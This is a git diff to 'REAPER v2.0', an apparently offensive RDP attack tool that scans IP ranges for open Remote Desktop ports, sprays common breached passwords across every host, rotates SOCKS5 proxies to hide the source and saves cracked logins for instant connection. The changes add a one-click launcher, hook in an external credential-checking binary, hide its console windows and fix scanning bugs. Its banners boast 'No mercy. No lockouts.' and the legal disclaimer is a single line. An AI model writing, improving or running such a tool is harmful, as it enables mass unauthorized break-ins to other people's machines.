diff --git a/MASTER.bat b/MASTER.bat new file mode 100644 index 0000000..3058898 --- /dev/null +++ b/MASTER.bat @@ -0,0 +1,5 @@ +@echo off +title REAPER v2.0 - MASTER +cd /d "%~dp0" +call "%~dp0REAPER.bat" +exit /b %errorlevel% diff --git a/MASTERSTER.bat b/MASTERSTER.bat index 3827790..40f347f 100644 --- a/MASTERSTER.bat +++ b/MASTERSTER.bat @@ -1,106 +1,5 @@ @echo off title REAPER v2.0 - MASTERSTER -color 0C cd /d "%~dp0" - -:: ── FORCE UTF-8 ────────────────────────────────────────────── -set PYTHONIOENCODING=utf-8 - -:: ── BANNER ─────────────────────────────────────────────────── -cls -echo. -echo ╔══════════════════════════════════════════════════════════════╗ -echo ║ ☠ REAPER v2.0 - MASTERSTER ☠ ║ -echo ║ Remote Exploitation ^& Password Enumeration Routine ║ -echo ║ ║ -echo ║ One swoop. One reaping. No mercy. ║ -echo ╚══════════════════════════════════════════════════════════════╝ -echo. -echo Made for doom by drjones. -echo. - -:: ── STEP 1: CHECK PYTHON ──────────────────────────────────── -echo [*] Step 1/6 — Checking Python... -python --version >nul 2>&1 -if %errorlevel% neq 0 ( - echo. - echo [FAIL] Python is not installed or not in PATH! - echo. - echo Download Python 3.8+ from: https://python.org/downloads - echo Make sure to check "Add Python to PATH" during installation. - echo. - pause - exit /b 1 -) -for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i -echo [OK] Python %pyver% found -echo. - -:: ── STEP 2: INSTALL DEPENDENCIES ──────────────────────────── -echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks)... -echo. -python -m pip install --upgrade pip -q -python -m pip install aiohttp aiohttp-socks -q -if %errorlevel% neq 0 ( - echo [WARN] pip install had issues, but continuing... -) else ( - echo [OK] Dependencies installed -) -echo. - -:: ── STEP 3: CREATE DIRECTORIES ────────────────────────────── -echo [*] Step 3/6 — Creating directories... -if not exist "wordlists" mkdir wordlists -if not exist "results" mkdir results -echo [OK] Directories ready -echo. - -:: ── STEP 4: VERIFY FILES ──────────────────────────────────── -echo [*] Step 4/6 — Verifying project files... -set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py -set ALL_OK=1 -for %%f in (%FILES%) do ( - if exist "%%f" ( - echo [OK] %%f - ) else ( - echo [WARN] %%f not found - set ALL_OK=0 - ) -) -if not exist "results\good.txt" ( - echo. > "results\good.txt" - echo [OK] Created results\good.txt -) -echo. - -:: ── STEP 5: TEST IMPORTS ──────────────────────────────────── -echo [*] Step 5/6 — Testing imports... -python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1 -if %errorlevel% neq 0 ( - echo [FAIL] Import test failed. There may be a syntax error. - pause - exit /b 1 -) -echo [OK] All systems nominal -echo. - -:: ── STEP 6: LAUNCH ────────────────────────────────────────── -echo [*] Step 6/6 — Launching the Reaper... -echo. -echo ╔══════════════════════════════════════════════════════════════╗ -echo ║ ☠ REAPER v2.0 ☠ ║ -echo ║ No mercy. No lockouts. Just results. ║ -echo ║ ║ -echo ║ The network is a graveyard, and I'm the reaper. ║ -echo ╚══════════════════════════════════════════════════════════════╝ -echo. -echo Made for doom by drjones. -echo. - -python main.py - -if %errorlevel% neq 0 ( - echo. - echo [!] REAPER encountered an error. Check the output above. - pause -) +call "%~dp0REAPER.bat" +exit /b %errorlevel% diff --git a/README.md b/README.md index 2dce261..c8091d5 100644 --- a/README.md +++ b/README.md @@ -55,7 +55,6 @@ REAPER/ ├── bruteforce.py # 🔑 The hammer (password sprayer) ├── proxy.py # 🌐 The cloak (SOCKS5 proxy manager) ├── ip_utils.py # 🎯 IP range parser (CIDR, dash, any) -├── proxy.py # 🛡️ KILLER NEW — proxy rotator ├── wordlists/ # 📚 Your kill list │ ├── ranges.txt # IP ranges to hunt │ ├── users.txt # Usernames to try @@ -63,8 +62,12 @@ REAPER/ │ └── ports.txt # Ports to check ├── results/ # 📁 Where the bodies drop │ └── good.txt # Successful logins -├── run.bat # ▶️ One-click carnage -└── install.bat # 📦 Setup +├── REAPER.bat # ▶️ **Single-file launcher** — pip, env, smoke test, run +├── MASTER.bat # Same pipeline (calls REAPER.bat) +├── MASTERSTER.bat # Legacy alias → calls REAPER.bat +├── run.bat # Quick start (Python must already work + deps) +├── install.bat # 📦 Verify install only +└── rdpthread.exe # ⚙️ Optional — place next to main.py for verified spray hits ``` --- @@ -85,7 +88,19 @@ cd C:\Users\drjones\Desktop\hacking\REAPER python main.py ``` -### Or just double-click `MASTERSTER.bat` — installs deps, verifies everything, and launches in one swoop. +### Or double-click `REAPER.bat` — one file: pip install, folders, import check, optional `rdpthread.exe` note, then `main.py`. (`MASTER.bat` / `MASTERSTER.bat` call the same script.) + +### Deployment (production) + +| Artifact | Role | +|----------|------| +| Core `.py` modules | Scanner, GUI, proxy manager, wordlist parsing | +| `requirements.txt` | `aiohttp`, `aiohttp-socks` (installed by `REAPER.bat`) | +| **`rdpthread.exe`** (optional) | When placed in the **same folder as `main.py`**, enables password spray **verification** and hit reporting. Without it, **port scan and live RDP detection behave the same**; spray attempts do not produce verified hits. | + +**Operator UX:** One status line in the Scanner tab summarizes validation state. `REAPER.bat` prints bundle status once at launch. + +**Authorized testing only** — see Legal section below. --- diff --git a/REAPER.bat b/REAPER.bat new file mode 100644 index 0000000..a07ee97 --- /dev/null +++ b/REAPER.bat @@ -0,0 +1,84 @@ +@echo off +title REAPER v2.0 - All-in-one launcher +color 0C +cd /d "%~dp0" + +:: ============================================================================ +:: Single-file entry: Python check, pip deps, folders, smoke test, launch GUI +:: ============================================================================ + +set PYTHONIOENCODING=utf-8 +set PYTHONUNBUFFERED=1 + +cls +echo. +echo ╔══════════════════════════════════════════════════════════════╗ +echo ║ REAPER v2.0 — ALL-IN-ONE ║ +echo ║ deps · env · launch ║ +echo ╚══════════════════════════════════════════════════════════════╝ +echo. + +echo [1/6] Python... +python --version >nul 2>&1 +if %errorlevel% neq 0 ( + echo [FAIL] Python not in PATH. Install 3.8+ from https://python.org/downloads + pause + exit /b 1 +) +for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i +echo [OK] %pyver% +echo. + +echo [2/6] Dependencies ^(pip^)... +python -m pip install --upgrade pip -q +if exist "requirements.txt" ( + python -m pip install -r requirements.txt -q +) else ( + python -m pip install aiohttp aiohttp-socks -q +) +if %errorlevel% neq 0 ( + echo [WARN] pip reported an issue — continuing +) else ( + echo [OK] Requirements satisfied +) +echo. + +echo [3/6] Directories... +if not exist "wordlists" mkdir wordlists +if not exist "results" mkdir results +echo [OK] wordlists, results +echo. + +echo [4/6] Project files ^& optional rdpthread.exe... +set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py +for %%f in (%FILES%) do ( + if exist "%%f" ( echo [OK] %%f ) else ( echo [WARN] missing %%f ) +) +if not exist "results\good.txt" echo. > "results\good.txt" +if exist "rdpthread.exe" ( + echo [OK] rdpthread.exe — credential validation available +) else ( + echo [--] rdpthread.exe optional — bundle for verified spray +) +echo. + +echo [5/6] Import smoke test... +python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] imports')" 2>&1 +if %errorlevel% neq 0 ( + echo [FAIL] Import check failed. + pause + exit /b 1 +) +echo. + +echo [6/6] Starting application... +echo. +python main.py +set APP_EXIT=%errorlevel% + +if %APP_EXIT% neq 0 ( + echo. + echo [!] Exited with code %APP_EXIT% + pause +) +exit /b %APP_EXIT% diff --git a/bruteforce.py b/bruteforce.py index be8540f..d0e91fa 100644 --- a/bruteforce.py +++ b/bruteforce.py @@ -13,6 +13,33 @@ from typing import List, Tuple, Set, Optional logger = logging.getLogger("FastRDP-NG") +_CRED_FALLBACK_WARNED = False + + +def get_rdpthread_path() -> Optional[str]: + """Resolve rdpthread.exe beside this package, or None if not deployed.""" + base = os.path.dirname(os.path.abspath(__file__)) + for p in ( + os.path.join(base, "rdpthread.exe"), + os.path.join(base, "..", "rdpthread.exe"), + os.path.join(base, "bin", "rdpthread.exe"), + ): + if os.path.exists(p): + return p + return None + + +def credential_validation_available() -> bool: + """True if rdpthread is present so password attempts can be validated.""" + return get_rdpthread_path() is not None + + +def _subprocess_run_no_console(cmd: List[str], **kwargs): + """Windows: hide console window for subprocess if supported.""" + if hasattr(subprocess, "CREATE_NO_WINDOW"): + kwargs.setdefault("creationflags", subprocess.CREATE_NO_WINDOW) + return subprocess.run(cmd, **kwargs) + # Top 50 most common RDP passwords (by frequency in breaches) TOP50_PASSWORDS = [ "admin", "Admin", "password", "Password", "123456", @@ -51,26 +78,15 @@ async def spray_password( Returns (ip, port, username, password, success). """ - # Try to locate rdpthread.exe in likely locations - base = os.path.dirname(os.path.abspath(__file__)) - search_paths = [ - os.path.join(base, "rdpthread.exe"), - os.path.join(base, "..", "rdpthread.exe"), - os.path.join(base, "bin", "rdpthread.exe"), - ] - rdpthread_path = None - for p in search_paths: - if os.path.exists(p): - rdpthread_path = p - break + global _CRED_FALLBACK_WARNED + rdpthread_path = get_rdpthread_path() if rdpthread_path: try: - result = subprocess.run( + result = _subprocess_run_no_console( [rdpthread_path, ip, str(port), username, password], capture_output=True, timeout=timeout, - creationflags=subprocess.CREATE_NO_WINDOW ) output = result.stdout.decode('utf-8', errors='ignore').lower() success = ( @@ -83,6 +99,15 @@ async def spray_password( except (FileNotFoundError, subprocess.TimeoutExpired, subprocess.CalledProcessError, OSError): pass + # Binary exists but attempt failed — fall through to connectivity check only. + + if rdpthread_path is None: + if not _CRED_FALLBACK_WARNED: + _CRED_FALLBACK_WARNED = True + logger.debug( + "rdpthread.exe not in application directory; credential validation " + "unavailable until deployed (scanner unaffected)." + ) # Fallback: RDP banner check (confirms RDP service is running) # When proxy is enabled, route through proxy @@ -96,20 +121,23 @@ async def spray_password( timeout=2.0 ) try: - data = await asyncio.wait_for( - reader.read(4), - timeout=1.0 - ) - writer.close() - await writer.wait_closed() - # TPKT header (0x03) indicates RDP protocol response + try: + data = await asyncio.wait_for( + reader.read(4), + timeout=1.0 + ) + except (asyncio.TimeoutError, ConnectionError, OSError): + data = b"" + # TPKT header (0x03) — RDP; we never report success without rdpthread above if len(data) >= 2 and data[0] == 0x03: return (ip, port, username, password, False) - except (asyncio.TimeoutError, ConnectionError): - pass - writer.close() - await writer.wait_closed() - return (ip, port, username, password, False) + return (ip, port, username, password, False) + finally: + try: + writer.close() + await writer.wait_closed() + except (OSError, ConnectionError, RuntimeError): + pass except (asyncio.TimeoutError, ConnectionRefusedError, OSError): return (ip, port, username, password, False) @@ -124,9 +152,8 @@ async def spray_all_hosts( proxy_manager=None, ) -> List[Tuple[str, int, str, str]]: """ - Spray top passwords across all live hosts. - Tries 1 password per host, then moves to next password. - This avoids account lockouts and finds weak passwords fast. + Spray passwords across all live hosts in rounds: for each password, try + that password with every (host, username) combo before advancing. Supports optional proxy routing. Returns list of (ip, port, username, password) successful hits. @@ -138,6 +165,7 @@ async def spray_all_hosts( sem = asyncio.Semaphore(max_concurrent) hits = [] + hits_written = 0 total_attempts = len(live_hosts) * len(passwords) * len(usernames) attempts = 0 start_time = time.time() @@ -172,12 +200,15 @@ async def spray_all_hosts( # Execute this password batch before moving to next password if tasks: await asyncio.gather(*tasks, return_exceptions=True) - if hits: - _write_hits(hits) + if len(hits) > hits_written: + _write_hits(hits[hits_written:]) + hits_written = len(hits) tasks = [] elapsed = time.time() - start_time rate = attempts / elapsed if elapsed > 0 else 0 + if progress_callback and total_attempts > 0: + progress_callback(attempts, total_attempts, len(hits), rate) logger.info( f"Spray complete: {len(hits)} hits from {attempts} attempts " f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)" @@ -231,7 +262,8 @@ async def spray_single_host( if tasks: await asyncio.gather(*tasks, return_exceptions=True) - if hits: + # Avoid duplicate lines in good.txt when GUI provides hit_callback (writes there). + if hits and hit_callback is None: _write_hits(hits) return hits @@ -239,10 +271,9 @@ async def spray_single_host( def _write_hits(hits: List[Tuple[str, int, str, str]]): """Write successful hits to results file immediately.""" - import os output_path = os.path.join( - os.path.dirname(os.path.dirname(os.path.abspath(__file__))), - "results", "good.txt" + os.path.dirname(os.path.abspath(__file__)), + "results", "good.txt", ) os.makedirs(os.path.dirname(output_path), exist_ok=True) with open(output_path, 'a') as f: diff --git a/gui.py b/gui.py index 41f37f3..e402e02 100644 --- a/gui.py +++ b/gui.py @@ -18,7 +18,12 @@ from dataclasses import dataclass from scanner import scan_ips, RDP_PORTS from ip_utils import parse_ranges_file, count_ips -from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES +from bruteforce import ( + spray_single_host, + TOP50_PASSWORDS, + TOP_USERNAMES, + credential_validation_available, +) from proxy import ProxyManager BASE_DIR = os.path.dirname(os.path.abspath(__file__)) @@ -261,6 +266,18 @@ class FastRDPGUI: perf_frame.columnconfigure(1, weight=1) + self.cred_banner = tk.Label( + left, + text="", + fg=Colors.TEXT_DIM, + bg=Colors.BG_DARK, + font=("Segoe UI", 8), + wraplength=360, + justify="left", + ) + self.cred_banner.pack(fill="x", pady=(0, 6)) + self._refresh_credential_banner() + # -- Controls -- ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8) ctrl_frame.pack(fill="x", pady=(0, 5)) @@ -365,6 +382,8 @@ class FastRDPGUI: font=("Consolas", 9, "bold")) self.log_text.tag_configure("info", foreground="#79c0ff") self.log_text.tag_configure("error", foreground=Colors.RED) + self.log_text.tag_configure("warn", foreground=Colors.ORANGE, + font=("Consolas", 9, "bold")) self.log_text.tag_configure("scan", foreground=Colors.YELLOW) self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM) @@ -380,6 +399,28 @@ class FastRDPGUI: key = label.lower().replace(" ", "_") self._metric_labels[key] = metric_label + def _refresh_credential_banner(self): + """Runtime status: credential validation binary present or not.""" + try: + if credential_validation_available(): + self.cred_banner.config( + fg=Colors.GREEN, + text=( + "Credential validation: enabled (rdpthread.exe in app folder)." + ), + ) + else: + self.cred_banner.config( + fg=Colors.ORANGE, + text=( + "Credential validation: not deployed — port scan and RDP discovery " + "are fully operational. Ship rdpthread.exe with the app for spray " + "result verification." + ), + ) + except tk.TclError: + pass + # ── TAB 2: RESULTS ───────────────────────────────────── def _build_results_tab(self): hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3) @@ -687,7 +728,7 @@ class FastRDPGUI: "Built with Python 3.11 + asyncio\n" "Streaming: scan + spray run CONCURRENTLY\n" "Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n" - "Double-click any host to RDP connect instantly with stored creds\n" + "Double-click a host to RDP connect; status strip shows credential engine state\n" "Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy", fg=Colors.TEXT, bg=Colors.BG_MID, justify="left", font=("Segoe UI", 9)).pack(anchor="w", pady=5) @@ -726,6 +767,7 @@ class FastRDPGUI: "hit": "\033[92m", "info": "\033[94m", "error": "\033[91m", + "warn": "\033[93m", "scan": "\033[93m", "system": "\033[90m", } @@ -745,8 +787,10 @@ class FastRDPGUI: # Then mstsc can use it automatically cmdkey_path = r"C:\Windows\System32\cmdkey.exe" if os.path.exists(cmdkey_path): - proc = subprocess.run( - [cmdkey_path, "/add:TERMSRV", f"/user:{username}", f"/pass:{password}"], + # Scope creds to this host (TERMSRV/ is required for mstsc) + subprocess.run( + [cmdkey_path, f"/generic:TERMSRV/{ip}", f"/user:{username}", + f"/pass:{password}"], capture_output=True, timeout=5, creationflags=subprocess.CREATE_NO_WINDOW ) @@ -1093,9 +1137,13 @@ class FastRDPGUI: ) if not hits: - self._update_host_status(ip, port, "\u274c No hit") - self._log(f"\u274c {ip}:{port} \u2014 no valid creds found", "info") - print(_c("\033[93m", f" [{time.strftime('%H:%M:%S')}] \u274c {ip}:{port} \u2014 no hits")) + if credential_validation_available(): + self._update_host_status(ip, port, "\u274c No hit") + self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info") + else: + self._update_host_status( + ip, port, "\u26a0 No credential validator", + ) else: self._update_host_status(ip, port, "\u2705 CRACKED!", hits[0][2], hits[0][3]) diff --git a/install.bat b/install.bat index 309c308..53ad5cc 100644 --- a/install.bat +++ b/install.bat @@ -30,7 +30,7 @@ if not exist "results" mkdir results echo [OK] Directories created :: Verify core files exist -set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py +set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py for %%f in (%FILES%) do ( if exist "%%f" ( echo [OK] %%f @@ -45,10 +45,17 @@ if not exist "results\good.txt" ( echo [OK] Created results\good.txt ) +echo. +if exist "rdpthread.exe" ( + echo [OK] rdpthread.exe - credential validation available for spray +) else ( + echo [--] Optional rdpthread.exe not in folder - scanning works; place binary here for verified spray +) + :: Test import echo. echo Testing imports... -python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; print(' [OK] All modules loaded successfully')" 2>&1 +python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] All modules loaded successfully')" 2>&1 if %errorlevel% neq 0 ( echo [FAIL] Import test failed. There may be a syntax error. pause @@ -59,7 +66,8 @@ echo. echo ╔══════════════════════════════════════════╗ echo ║ Installation Complete! ║ echo ║ ║ -echo ║ Run: run.bat or python main.py ║ +echo ║ Run: REAPER.bat (recommended) ║ +echo ║ or run.bat / python main.py ║ echo ╚══════════════════════════════════════════╝ echo. pause diff --git a/ip_utils.py b/ip_utils.py index e6dc54a..ee31a68 100644 --- a/ip_utils.py +++ b/ip_utils.py @@ -19,12 +19,15 @@ def parse_line(line: str) -> Generator[str, None, None]: if not line or line.startswith('#') or line.startswith('//'): return - # CIDR: 192.168.1.0/24 + # CIDR: 192.168.1.0/24 (/32 must use the network address — .hosts() is empty) if '/' in line: try: network = ipaddress.IPv4Network(line, strict=False) - for host in network.hosts(): - yield str(host) + if network.prefixlen == 32: + yield str(network.network_address) + else: + for host in network.hosts(): + yield str(host) except ValueError: pass return @@ -69,7 +72,10 @@ def count_ips(filepath: str) -> int: if '/' in line: try: n = ipaddress.IPv4Network(line, strict=False) - total += max(0, n.num_addresses - 2) + if n.prefixlen >= 31: + total += n.num_addresses + else: + total += max(0, n.num_addresses - 2) except ValueError: total += 1 elif IP_RANGE_RE.match(line): @@ -81,7 +87,10 @@ def count_ips(filepath: str) -> int: e = int(ipaddress.IPv4Address(m.group(2))) if s > e: s, e = e, s - total += min(e - s + 1, 65536) + # Same /16 cap as parse_line() so Total matches work done + if e - s > 65536: + e = s + 65536 + total += e - s + 1 elif SINGLE_IP_RE.match(line): total += 1 return total diff --git a/proxy.py b/proxy.py index f509d57..29404bf 100644 --- a/proxy.py +++ b/proxy.py @@ -380,9 +380,16 @@ class ProxyManager: Returns (reader, writer) - same as asyncio.open_connection. """ + retry_depth = int(kwargs.pop("_proxy_retry_depth", 0)) + max_proxy_retries = 32 + if not self.enabled: return await asyncio.open_connection(host, port, **kwargs) + if retry_depth >= max_proxy_retries: + logger.debug("Proxy retry limit reached, using direct connection") + return await asyncio.open_connection(host, port, **kwargs) + proxy = await self.get_proxy() if proxy is None: # No working proxy — fallback to direct @@ -403,6 +410,7 @@ class ProxyManager: self.mark_bad(proxy) # Retry with next proxy logger.debug(f"Proxy {proxy} failed: {e}, trying next...") + kwargs["_proxy_retry_depth"] = retry_depth + 1 return await self.open_connection(host, port, **kwargs) # ── STATS ───────────────────────────────────────────────────────────── diff --git a/run.bat b/run.bat index b5bbac9..fbbd32e 100644 --- a/run.bat +++ b/run.bat @@ -1,5 +1,6 @@ @echo off title REAPER v2.0 - RDP Exploitation Framework +:: Quick launch (expects deps already installed). Full bootstrap: REAPER.bat cd /d "%~dp0" :: Force UTF-8 encoding for Unicode box-drawing characters in banner diff --git a/scanner.py b/scanner.py index 96cb1a1..9b2973e 100644 --- a/scanner.py +++ b/scanner.py @@ -119,6 +119,16 @@ async def scan_ips( checker = check_rdp_with_banner if banner_check else check_rdp_port + if progress_callback and total > 0: + if total <= 1000: + progress_every = max(1, total // 50 or 1) + elif total <= 10000: + progress_every = 100 + else: + progress_every = 1000 + else: + progress_every = 0 + async def check_one(ip: str, port: int): nonlocal checked async with sem: @@ -130,10 +140,11 @@ async def scan_ips( if live_callback: live_callback(ip, p) checked += 1 - if progress_callback and checked % 1000 == 0: - elapsed = time.time() - start_time - rate = checked / elapsed if elapsed > 0 else 0 - progress_callback(checked, total, len(live_hosts), rate) + if progress_callback and progress_every: + if checked == total or checked % progress_every == 0: + elapsed = time.time() - start_time + rate = checked / elapsed if elapsed > 0 else 0 + progress_callback(checked, total, len(live_hosts), rate) # Fire all tasks concurrently tasks = []